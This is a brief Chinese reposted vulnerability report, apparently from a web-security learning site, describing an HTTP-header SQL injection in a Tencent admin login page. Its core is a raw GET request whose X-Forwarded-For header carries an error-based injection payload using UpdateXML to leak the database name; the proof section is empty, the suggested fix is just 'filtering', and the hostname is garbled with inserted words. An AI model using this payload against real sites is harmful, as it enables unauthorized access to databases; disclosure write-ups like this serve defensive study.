腾讯这是一个很经典的SQL注射 - 网站安全 - 自学

腾讯-这是一个很经典的SQL注射

GET /site/login?jsonpCallbackParam=loginJsonpCallback&data_info=1&ajax=true&_=1406730250627 HTTP/1.1

Host: admin测试数据ic.qq测试数据 X-FORWARDED-FOR:192.168.1.1'+ (UpdateXML(1,CONCAT(0x5b,mid( (select database()) ,1,32),0x5d),1)) +' http头注入

漏洞 证明：

 

 

 

修复方案：

过滤

查看更多关于腾讯这是一个很经典的SQL注射 - 网站安全 - 自学的详细内容...